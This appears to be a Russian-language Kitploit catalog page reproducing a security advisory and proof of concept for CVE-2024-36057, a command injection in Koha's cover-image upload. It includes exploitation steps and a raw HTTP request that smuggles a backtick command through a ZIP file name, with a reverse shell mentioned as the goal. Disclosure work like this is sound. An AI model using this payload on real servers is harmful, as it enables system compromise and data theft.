Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Инструменты/GitHubGitHub/hacklantic/cve-2024-36057
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на Проникновение
GitHubhacklantic/cve-2024-36057

CVE-2024-36057

Консультация и proof-of-concept для CVE-2024-36057 — аутентифицированная инъекция OS-команд в библиотечном ПО Koha, демонстрирующая произвольное выполнение команд через специально сформированные имена ZIP-файлов.

Репозиторий
3122 дней назадЕщё не проверено
Сайт

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2024-36057 - Koha Library Software < 23.05.10 - Внедрение команд ОС

CVE ID: CVE-2024-36057
Продукт: Koha Library Software
Тип уязвимости: Внедрение команд ОС (CWE-78)
Оценка CVSS: 9.8 (Критическая)
Уязвимые версии: Ниже 23.05.10
Авторы: Karolis Narvilas


Описание

Koha — это интегрированная библиотечная система с открытым исходным кодом. Уязвимость внедрения команд существует в функциональности загрузки обложек по адресу tools/upload-cover-image.pl. Приложение использует qx/unzip $filename -d $dirname/ для извлечения загруженных ZIP-архивов без очистки параметра filename.

Аутентифицированный пользователь с высокими привилегиями может создать ZIP-файл с вредоносным именем, содержащим символы обратных кавычек, для внедрения произвольных команд оболочки, которые выполняются на стороне сервера, когда пользователь нажимает «Process Images».

Воздействие: Удалённый аутентифицированный злоумышленник может использовать CVE-2024-36057 для выполнения произвольных команд ОС на базовом сервере, что приводит к полной компрометации системы, эксфильтрации данных и созданию постоянных бэкдоров или обратных оболочек.


Доказательство концепции (PoC)

  1. Войдите в Koha как пользователь с высокими привилегиями.
  2. Перейдите по адресу: https://{domain}/cgi-bin/koha/tools/upload-cover-image.pl
  3. Загрузите обычный ZIP-файл и, используя перехватывающий прокси, такой как Burp Suite, отредактируйте имя файла, как показано ниже:

Запрос:

POST /cgi-bin/koha/tools/upload-file.pl?temp=1 HTTP/1.1
Host: {domain}
Cookie: [High-Privilege Session]
Connection: close

------WebKitFormBoundaryP82Da5V6eaQOuBUT
Content-Disposition: form-data; name="file"; filename="execute`<INJECTED_COMMAND>`.zip"
Content-Type: application/x-zip-compressed

<zip file contents>
------WebKitFormBoundaryP82Da5V6eaQOuBUT--

  1. После успешной загрузки ZIP-файла нажмите «Process Images».
  2. Внедрённая команда внутри обратных кавычек выполняется на стороне сервера. В этом примере на целевой машине устанавливается обратная оболочка.

Reverse Shell PoC


Ссылки

  • MITRE - CVE-2024-36057
  • Hacklantic
Скачать инструмент